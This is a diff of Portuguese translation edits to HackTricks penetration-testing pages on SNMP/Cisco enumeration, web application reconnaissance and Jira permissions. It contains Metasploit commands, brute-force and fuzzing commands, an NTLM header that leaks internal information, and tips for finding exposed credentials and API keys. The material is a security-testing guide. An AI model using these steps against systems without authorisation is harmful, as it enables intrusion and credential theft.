 #### `cisco_config_tftp`

-O framework Metasploit apresenta o módulo `cisco_config_tftp`, facilitando a extração de configurações de dispositivos, condicionado à aquisição de uma string de comunidade RW. Parâmetros essenciais para esta operação incluem:
+O framework Metasploit apresenta o módulo `cisco_config_tftp`, facilitando a extração de configurações de dispositivos, dependendo da aquisição de uma string de comunidade RW. Os parâmetros essenciais para esta operação incluem:

 * String de comunidade RW (**COMMUNITY**)
 * IP do atacante (**LHOST**)
@ -42,31 +40,29 @@ Após a configuração, este módulo permite o download das configurações do d
 #### `snmp_enum`

 Outro módulo do Metasploit, **`snmp_enum`**, especializa-se na coleta de informações detalhadas de hardware. Ele opera com qualquer tipo de string de comunidade e requer o endereço IP do alvo para uma execução bem-sucedida:
-
 ```bash
 msf6 auxiliary(scanner/snmp/snmp_enum) > set COMMUNITY public
 msf6 auxiliary(scanner/snmp/snmp_enum) > set RHOSTS 10.10.100.10
 msf6 auxiliary(scanner/snmp/snmp_enum) > exploit
 ```
-
 ## Referências

 * [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)

-<figure><img src="https://github.com/carlospolop/hacktricks/blob/pt/.gitbook/assets/image%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>

-Se você está interessado em uma **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada necessária_).
+Se você está interessado em uma **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada é necessária_).

 {% embed url="https://www.stmcyber.com/careers" %}

 <details>

-<summary><strong>Aprenda hacking AWS de zero a herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
+<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

 * Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
 * Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
 * Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
-* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me no** Twitter 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
+* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
 * **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).

 </details>
--- a/network-services-pentesting/pentesting-web/README.md
+++ b/network-services-pentesting/pentesting-web/README.md
@ -4,17 +4,17 @@

 <summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

-Outras formas de apoiar o HackTricks:
+Outras maneiras de apoiar o HackTricks:

-* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
+* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
 * Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
 * Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
 * **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
-* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
+* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.

 </details>

-<figure><img src="../../.gitbook/assets/image (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>

 Se você está interessado em uma **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada necessária_).

@ -45,19 +45,19 @@ openssl s_client -connect domain.com:443 # GET / HTTP/1.0

 > Nesta metodologia, vamos supor que você está atacando um domínio (ou subdomínio) e apenas isso. Portanto, você deve aplicar esta metodologia a cada domínio, subdomínio ou IP descoberto com um servidor web indeterminado dentro do escopo.

-* [ ] Comece por **identificar** as **tecnologias** usadas pelo servidor web. Procure por **dicas** para lembrar durante o restante do teste se conseguir identificar com sucesso a tecnologia.
+* [ ] Comece por **identificar** as **tecnologias** usadas pelo servidor web. Procure por **tricks** para ter em mente durante o resto do teste se conseguir identificar com sucesso a tecnologia.
 * [ ] Alguma **vulnerabilidade conhecida** da versão da tecnologia?
-* [ ] Usando alguma **tecnologia conhecida**? Alguma **dica útil** para extrair mais informações?
+* [ ] Usando alguma **tecnologia conhecida**? Algum **truque útil** para extrair mais informações?
 * [ ] Algum **scanner especializado** para executar (como wpscan)?
-* [ ] Execute **scanners de propósitos gerais**. Nunca se sabe se eles vão encontrar algo ou se vão encontrar alguma informação interessante.
+* [ ] Inicie os **scanners de propósitos gerais**. Nunca se sabe se eles vão encontrar algo ou se vão encontrar alguma informação interessante.
 * [ ] Comece com as **verificações iniciais**: **robots**, **sitemap**, erro **404** e **verificação SSL/TLS** (se HTTPS).
 * [ ] Inicie o **spidering** da página web: É hora de **encontrar** todos os **arquivos, pastas** e **parâmetros possíveis** sendo usados. Além disso, verifique **descobertas especiais**.
 * [ ] _Observe que sempre que um novo diretório for descoberto durante brute-forcing ou spidering, ele deve ser spidered._
-* [ ] **Brute-Forcing de Diretórios**: Tente forçar todos os diretórios descobertos em busca de novos **arquivos** e **diretórios**.
+* [ ] **Brute-Forcing de Diretórios**: Tente forçar bruta todos os diretórios descobertos procurando novos **arquivos** e **diretórios**.
 * [ ] _Observe que sempre que um novo diretório for descoberto durante brute-forcing ou spidering, ele deve ser Brute-Forced._
-* [ ] **Verificação de Backups**: Teste se consegue encontrar **backups** de **arquivos descobertos** anexando extensões de backup comuns.
+* [ ] **Verificação de Backups**: Teste se você pode encontrar **backups** dos **arquivos descobertos** anexando extensões de backup comuns.
 * [ ] **Brute-Force de Parâmetros**: Tente **encontrar parâmetros ocultos**.
-* [ ] Depois de ter **identificado** todos os **pontos finais** possíveis que aceitam **entrada do usuário**, verifique todos os tipos de **vulnerabilidades** relacionadas a eles.
+* [ ] Depois de ter **identificado** todos os **endpoints possíveis** que aceitam **entrada do usuário**, verifique todos os tipos de **vulnerabilidades** relacionadas a isso.
 * [ ] [Siga esta lista de verificação](../../pentesting-web/web-vulnerabilities-methodology.md)

 ## Versão do Servidor (Vulnerável?)
@ -104,7 +104,7 @@ Alguns **truques** para **encontrar vulnerabilidades** em diferentes **tecnologi
 * [**Laravel**](laravel.md)
 * [**Moodle**](moodle.md)
 * [**Nginx**](nginx.md)
-* [**PHP (o php tem muitos truques interessantes que podem ser explorados)**](php-tricks-esp/)
+* [**PHP (o PHP tem muitos truques interessantes que podem ser explorados)**](php-tricks-esp/)
 * [**Python**](python.md)
 * [**Spring Actuators**](spring-actuators.md)
 * [**Symphony**](symphony.md)
@ -163,7 +163,7 @@ wpscan --force update -e --url <URL>
 joomscan --ec -u <URL>
 joomlavs.rb #https://github.com/rastating/joomlavs
 ```
-> Neste ponto, você já deve ter alguma informação sobre o servidor web usado pelo cliente (se houver dados fornecidos) e algumas dicas a serem lembradas durante o teste. Se tiver sorte, você até encontrou um CMS e executou algum scanner.
+> Neste ponto, você já deve ter alguma informação sobre o servidor web usado pelo cliente (se houver dados fornecidos) e algumas dicas a serem lembradas durante o teste. Se tiver sorte, você pode até ter encontrado um CMS e executado algum scanner.

 ## Descoberta de Aplicativos da Web Passo a Passo

@ -185,23 +185,23 @@ joomlavs.rb #https://github.com/rastating/joomlavs
 Os servidores web podem **se comportar de forma inesperada** quando dados estranhos são enviados a eles. Isso pode abrir **vulnerabilidades** ou **divulgar informações sensíveis**.

 * Acesse **páginas falsas** como /whatever\_fake.php (.aspx,.html,.etc)
-* Adicione "\[]", "]]" e "\[\[" nos valores de **cookie** e nos valores de **parâmetro** para criar erros
+* Adicione "\[]", "]]" e "\[\[" nos valores de **cookies** e nos valores de **parâmetros** para criar erros
 * Gere erro fornecendo entrada como **`/~randomthing/%s`** no **final** da **URL**
-* Experimente **diferentes Verbos HTTP** como PATCH, DEBUG ou incorretos como FAKE
+* Tente **diferentes Verbos HTTP** como PATCH, DEBUG ou incorretos como FAKE

 #### **Verifique se é possível fazer upload de arquivos (**[**verbo PUT, WebDav**](put-method-webdav.md)**)**

 Se você descobrir que o **WebDav** está **habilitado** mas não tem permissões suficientes para **fazer upload de arquivos** na pasta raiz, tente:

-* **Força Bruta** em credenciais
+* **Força Bruta** de credenciais
 * **Faça upload de arquivos** via WebDav para o **restante** das **pastas encontradas** dentro da página da web. Você pode ter permissões para fazer upload de arquivos em outras pastas.

 ### **Vulnerabilidades SSL/TLS**

-* Se a aplicação **não estiver forçando o uso de HTTPS** em nenhuma parte, então está **vulnerável a MitM**
-* Se a aplicação estiver **enviando dados sensíveis (senhas) usando HTTP**. Então é uma vulnerabilidade alta.
+* Se o aplicativo **não estiver forçando o uso de HTTPS** em nenhuma parte, então está **vulnerável a MitM**
+* Se o aplicativo estiver **enviando dados sensíveis (senhas) usando HTTP**. Então é uma vulnerabilidade alta.

-Use [**testssl.sh**](https://github.com/drwetter/testssl.sh) para verificar **vulnerabilidades** (em programas de Bug Bounty, provavelmente esses tipos de vulnerabilidades não serão aceitos) e use [**a2sv** ](https://github.com/hahwul/a2sv) para reavaliar as vulnerabilidades:
+Use [**testssl.sh**](https://github.com/drwetter/testssl.sh) para verificar **vulnerabilidades** (em programas de Bug Bounty, provavelmente esses tipos de vulnerabilidades não serão aceitos) e use [**a2sv**](https://github.com/hahwul/a2sv) para re-verificar as vulnerabilidades:
 ```bash
 ./testssl.sh [--htmlfile] 10.10.10.10:443
 #Use the --htmlfile to save the output inside an htmlfile also
@ -222,7 +222,7 @@ Inicie algum tipo de **spider** na web. O objetivo do spider é **encontrar o m
 * [**gospider**](https://github.com/jaeles-project/gospider) (go): Spider HTML, LinkFinder em arquivos JS e fontes externas (Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com).
 * [**hakrawler**](https://github.com/hakluke/hakrawler) (go): Spider HTML, com LinkFinder para arquivos JS e Archive.org como fonte externa.
 * [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): Spider HTML, também indica "arquivos suculentos".
-* [**evine** ](https://github.com/saeeddhqan/evine)(go): Spider HTML interativo via CLI. Também pesquisa no Archive.org.
+* [**evine** ](https://github.com/saeeddhqan/evine)(go): Spider HTML interativo com CLI. Também pesquisa no Archive.org.
 * [**meg**](https://github.com/tomnomnom/meg) (go): Esta ferramenta não é um spider, mas pode ser útil. Você pode simplesmente indicar um arquivo com hosts e um arquivo com caminhos e o meg buscará cada caminho em cada host e salvará a resposta.
 * [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): Spider HTML com capacidades de renderização JS. No entanto, parece estar desatualizado, a versão pré-compilada é antiga e o código atual não compila.
 * [**gau**](https://github.com/lc/gau) (go): Spider HTML que usa provedores externos (wayback, otx, commoncrawl).
@ -231,13 +231,13 @@ Inicie algum tipo de **spider** na web. O objetivo do spider é **encontrar o m
 * [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): Spider HTML, com capacidades de embelezamento JS capaz de buscar novos caminhos em arquivos JS. Também vale a pena dar uma olhada no [JSScanner](https://github.com/dark-warlord14/JSScanner), que é um wrapper do LinkFinder.
 * [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Para extrair endpoints tanto na fonte HTML quanto em arquivos javascript incorporados. Útil para caçadores de bugs, equipes vermelhas, ninjas de segurança da informação.
 * [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Um script python 2.7 usando Tornado e JSBeautifier para analisar URLs relativas de arquivos JavaScript. Útil para descobrir facilmente solicitações AJAX. Parece estar desatualizado.
-* [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Dado um arquivo (HTML), ele extrairá URLs dele usando uma expressão regular inteligente para encontrar e extrair as URLs relativas de arquivos feios (minificados).
+* [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Dado um arquivo (HTML), ele extrairá URLs dele usando uma expressão regular engenhosa para encontrar e extrair os URLs relativos de arquivos feios (minificados).
 * [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, várias ferramentas): Reúna informações interessantes de arquivos JS usando várias ferramentas.
 * [**subjs**](https://github.com/lc/subjs) (go): Encontre arquivos JS.
-* [**page-fetch**](https://github.com/detectify/page-fetch) (go): Carregue uma página em um navegador sem cabeça e imprima todas as URLs carregadas para carregar a página.
+* [**page-fetch**](https://github.com/detectify/page-fetch) (go): Carregue uma página em um navegador sem cabeça e imprima todos os URLs carregados para carregar a página.
 * [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Ferramenta de descoberta de conteúdo que combina várias opções das ferramentas anteriores.
 * [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): Uma extensão do Burp para encontrar caminhos e parâmetros em arquivos JS.
-* [**Sourcemapper**](https://github.com/denandz/sourcemapper): Uma ferramenta que, dado o URL .js.map, fornecerá o código JS embelezado.
+* [**Sourcemapper**](https://github.com/denandz/sourcemapper): Uma ferramenta que, dado o URL .js.map, fornecerá o código JS beatificado.
 * [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): Esta é uma ferramenta usada para descobrir endpoints para um alvo específico.
 * [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Descubra links do wayback machine (também baixando as respostas no wayback e procurando mais links).
 * [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Rastreie (mesmo preenchendo formulários) e também encontre informações sensíveis usando regex específicas.
@ -247,7 +247,7 @@ Inicie algum tipo de **spider** na web. O objetivo do spider é **encontrar o m

 ### Força Bruta em diretórios e arquivos

-Inicie a **força bruta** a partir da pasta raiz e certifique-se de forçar **todos** os **diretórios encontrados** usando **este método** e todos os diretórios **descobertos** pela **Spidering** (você pode fazer essa força bruta de forma **recursiva** e adicionando no início da lista de palavras usada os nomes dos diretórios encontrados).\
+Inicie a **força bruta** a partir da pasta raiz e certifique-se de forçar **todos** os **diretórios encontrados** usando **este método** e todos os diretórios **descobertos** pela **Spidering** (você pode fazer essa força bruta de forma **recursiva** e acrescentar no início da lista de palavras usada os nomes dos diretórios encontrados).\
 Ferramentas:

 * **Dirb** / **Dirbuster** - Incluído no Kali, **antigo** (e **lento**) mas funcional. Permite certificados autoassinados e pesquisa recursiva. Muito lento em comparação com as outras opções.
@ -256,7 +256,7 @@ Ferramentas:
 * [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- Rápido, suporta pesquisa recursiva.**
 * [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ`
 * [**ffuf** ](https://github.com/ffuf/ffuf)- Rápido: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ`
-* [**uro**](https://github.com/s0md3v/uro) (python): Este não é um spider, mas uma ferramenta que, dada a lista de URLs encontradas, irá excluir URLs "duplicadas".
+* [**uro**](https://github.com/s0md3v/uro) (python): Este não é um spider, mas uma ferramenta que, dada a lista de URLs encontrados, irá excluir URLs "duplicados".
 * [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Extensão do Burp para criar uma lista de diretórios do histórico do burp de diferentes páginas.
 * [**TrashCompactor**](https://github.com/michael1026/trashcompactor): Remova URLs com funcionalidades duplicadas (com base em importações de js).
 * [**Chamaleon**](https://github.com/iustin24/chameleon): Usa wapalyzer para detectar tecnologias usadas e selecionar as listas de palavras a serem usadas.
@ -264,9 +264,9 @@ Ferramentas:
 **Dicionários recomendados:**

 * [https://github.com/carlospolop/Auto\_Wordlists/blob/main/wordlists/bf\_directories.txt](https://github.com/carlospolop/Auto\_Wordlists/blob/main/wordlists/bf\_directories.txt)
-* [Dicionário incluído no Dirsearch](https://github.com/maurosoria/dirsearch/blob/master/db/dicc.txt)
+* Dicionário incluído no **Dirsearch**
 * [http://gist.github.com/jhaddix/b80ea67d85c13206125806f0828f4d10](http://gist.github.com/jhaddix/b80ea67d85c13206125806f0828f4d10)
-* [Listas de palavras da Assetnote](https://wordlists.assetnote.io)
+* [Wordlists Assetnote](https://wordlists.assetnote.io)
 * [https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content](https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content)
 * raft-large-directories-lowercase.txt
 * directory-list-2.3-medium.txt
@ -284,7 +284,7 @@ _Observe que sempre que um novo diretório for descoberto durante a força bruta

 ### O que verificar em cada arquivo encontrado

-* [**Verificador de links quebrados**](https://github.com/stevenvachon/broken-link-checker): Encontre links quebrados dentro de HTMLs que podem ser propensos a ataques de takeover
+* [**Verificador de links quebrados**](https://github.com/stevenvachon/broken-link-checker): Encontre links quebrados dentro de HTMLs que podem ser propensos a ataques de takeover.
 * **Backups de arquivos**: Depois de encontrar todos os arquivos, procure por backups de todos os arquivos executáveis ("_.php_", "_.aspx_"...). Variações comuns para nomear um backup são: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp e file.old._ Você também pode usar a ferramenta [**bfac**](https://github.com/mazen160/bfac) **ou** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.**
 * **Descobrir novos parâmetros**: Você pode usar ferramentas como [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **e** [**Param Miner**](https://github.com/PortSwigger/param-miner) **para descobrir parâmetros ocultos. Se possível, tente procurar** parâmetros ocultos em cada arquivo web executável.
 * _Todos os wordlists padrão do Arjun:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db)
@ -292,10 +292,10 @@ _Observe que sempre que um novo diretório for descoberto durante a força bruta
 * _Assetnote “parameters\_top\_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io)
 * _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773)
 * **Comentários:** Verifique os comentários de todos os arquivos, você pode encontrar **credenciais** ou **funcionalidades ocultas**.
-* Se você está participando de um **CTF**, um "truque" comum é **esconder informações** dentro de comentários no **final** da **página** (usando **centenas** de **espaços** para que os dados não sejam visíveis ao abrir o código-fonte no navegador). Outra possibilidade é usar **várias novas linhas** e **esconder informações** em um comentário na **parte inferior** da página da web.
+* Se você estiver participando de um **CTF**, um "truque" comum é **ocultar informações** dentro de comentários no **final** da **página** (usando **centenas** de **espaços** para que os dados não sejam visíveis ao abrir o código-fonte no navegador). Outra possibilidade é usar **várias novas linhas** e **ocultar informações** em um comentário na **parte inferior** da página da web.
 * **Chaves de API**: Se você **encontrar alguma chave de API**, há um guia que indica como usar chaves de API de diferentes plataformas: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](https://github.com/l4yton/RegHex\)/)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird)
 * Chaves de API do Google: Se você encontrar alguma chave de API parecida com **AIza**SyA-qLheq6xjDiEIRisP\_ujUseYLQCHUjik, você pode usar o projeto [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) para verificar quais APIs a chave pode acessar.
-* **Buckets S3**: Enquanto spidering, verifique se algum **subdomínio** ou algum **link** está relacionado a algum **bucket S3**. Nesse caso, [**verifique** as **permissões** do bucket](buckets/).
+* **Buckets S3**: Durante o spidering, verifique se algum **subdomínio** ou algum **link** está relacionado a algum **bucket S3**. Nesse caso, [**verifique** as **permissões** do bucket](buckets/).

 ### Descobertas especiais

@ -306,7 +306,7 @@ _Observe que sempre que um novo diretório for descoberto durante a força bruta
 * Procure por **links** para outros arquivos dentro dos arquivos **CSS**.
 * [Se encontrar um arquivo _**.git**_, algumas informações podem ser extraídas](git.md)
 * Se encontrar um arquivo _**.env**_, informações como chaves de API, senhas de bancos de dados e outras informações podem ser encontradas.
-* Se encontrar **pontos de extremidade de API**, você [também deve testá-los](web-api-pentesting.md). Estes não são arquivos, mas provavelmente "se parecerão" com eles.
+* Se encontrar **pontos de extremidade de API**, você [também deve testá-los](web-api-pentesting.md). Eles não são arquivos, mas provavelmente "se parecerão" com eles.
 * **Arquivos JS**: Na seção de spidering, foram mencionadas várias ferramentas que podem extrair caminhos de arquivos JS. Também seria interessante **monitorar cada arquivo JS encontrado**, pois em algumas ocasiões, uma alteração pode indicar a introdução de uma vulnerabilidade potencial no código. Você poderia usar, por exemplo, [**JSMon**](https://github.com/robre/jsmon)**.**
 * Você também deve verificar os arquivos JS descobertos com [**RetireJS**](https://github.com/retirejs/retire.js/) ou [**JSHole**](https://github.com/callforpapers-source/jshole) para verificar se são vulneráveis.
 * **Desofuscador e descompactador de Javascript:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator)
@ -330,14 +330,14 @@ Se alguma página **responder** com esse **código**, provavelmente é um **prox

 Se o servidor em execução que solicita autenticação for **Windows** ou se você encontrar um login solicitando suas **credenciais** (e pedindo o **nome do domínio**), você pode provocar uma **divulgação de informações**.\
 **Envie** o **cabeçalho**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` e devido ao funcionamento da **autenticação NTLM**, o servidor responderá com informações internas (versão do IIS, versão do Windows...) dentro do cabeçalho "WWW-Authenticate".\
-Você pode **automatizar** isso usando o plugin do **nmap** "_http-ntlm-info.nse_".
+Você pode **automatizar** isso usando o **plugin nmap** "_http-ntlm-info.nse_".

 **Redirecionamento HTTP (CTF)**

 É possível **inserir conteúdo** dentro de um **redirecionamento**. Esse conteúdo **não será mostrado ao usuário** (pois o navegador executará o redirecionamento), mas algo pode ser **oculto** lá.
 ### Verificação de Vulnerabilidades Web

-Agora que foi realizada uma enumeração abrangente da aplicação web, é hora de verificar muitas possíveis vulnerabilidades. Você pode encontrar a lista de verificação aqui:
+Agora que uma enumeração abrangente da aplicação web foi realizada, é hora de verificar muitas possíveis vulnerabilidades. Você pode encontrar a lista de verificação aqui:

 {% content-ref url="../../pentesting-web/web-vulnerabilities-methodology.md" %}
 [web-vulnerabilities-methodology.md](../../pentesting-web/web-vulnerabilities-methodology.md)
@ -353,7 +353,7 @@ Encontre mais informações sobre vulnerabilidades web em:

 Você pode usar ferramentas como [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) para monitorar páginas em busca de modificações que possam inserir vulnerabilidades.

-<figure><img src="../../.gitbook/assets/image (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>

 Se você está interessado em uma **carreira em hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada é necessária_).

@ -435,10 +435,10 @@ Command: ffuf -w {Subdomain_List}:FUZZ -u {Web_Proto}://{Domain_Name} -H "Host:F

 Outras maneiras de apoiar o HackTricks:

-* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
+* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
 * Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
 * Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
 * **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
-* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
+* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).

 </details>
--- a/network-services-pentesting/pentesting-web/jira.md
+++ b/network-services-pentesting/pentesting-web/jira.md
@ -6,7 +6,7 @@

 Outras formas de apoiar o HackTricks:

-* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
+* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
 * Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
 * Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
 * **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
@ -14,9 +14,9 @@ Outras formas de apoiar o HackTricks:

 </details>

-<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>

-Se você está interessado em uma **carreira de hacking** e hackear o inhackeável - **estamos contratando!** (_fluência em polonês escrito e falado é necessária_).
+Se você está interessado em uma **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada necessária_).

 {% embed url="https://www.stmcyber.com/careers" %}

@ -24,7 +24,7 @@ Se você está interessado em uma **carreira de hacking** e hackear o inhackeáv

 No Jira, os **privilégios podem ser verificados** por qualquer usuário, autenticado ou não, através dos endpoints `/rest/api/2/mypermissions` ou `/rest/api/3/mypermissions`. Esses endpoints revelam os privilégios atuais do usuário. Uma preocupação notável surge quando **usuários não autenticados possuem privilégios**, indicando uma **vulnerabilidade de segurança** que poderia potencialmente ser elegível para uma **recompensa**. Da mesma forma, **privilégios inesperados para usuários autenticados** também destacam uma **vulnerabilidade**.

-Uma **atualização** importante foi feita em **1 de fevereiro de 2019**, exigindo que o endpoint 'mypermissions' inclua um **parâmetro de permissão**. Essa exigência visa **aumentar a segurança** especificando os privilégios sendo consultados: [verifique aqui](https://developer.atlassian.com/cloud/jira/platform/change-notice-get-my-permissions-requires-permissions-query-parameter/#change-notice---get-my-permissions-resource-will-require-a-permissions-query-parameter)
+Uma **atualização importante** foi feita em **1 de fevereiro de 2019**, exigindo que o endpoint 'mypermissions' inclua um **parâmetro de 'permissão'**. Essa exigência visa **aumentar a segurança** especificando os privilégios sendo consultados: [verifique aqui](https://developer.atlassian.com/cloud/jira/platform/change-notice-get-my-permissions-requires-permissions-query-parameter/#change-notice---get-my-permissions-resource-will-require-a-permissions-query-parameter)

 * ADD\_COMMENTS
 * ADMINISTER
@ -69,26 +69,24 @@ Uma **atualização** importante foi feita em **1 de fevereiro de 2019**, exigin
 * WORK\_ON\_ISSUES

 Exemplo: `https://seu-domínio.atlassian.net/rest/api/2/mypermissions?permissions=BROWSE_PROJECTS,CREATE_ISSUES,ADMINISTER_PROJECTS`
-
 ```bash
 #Check non-authenticated privileges
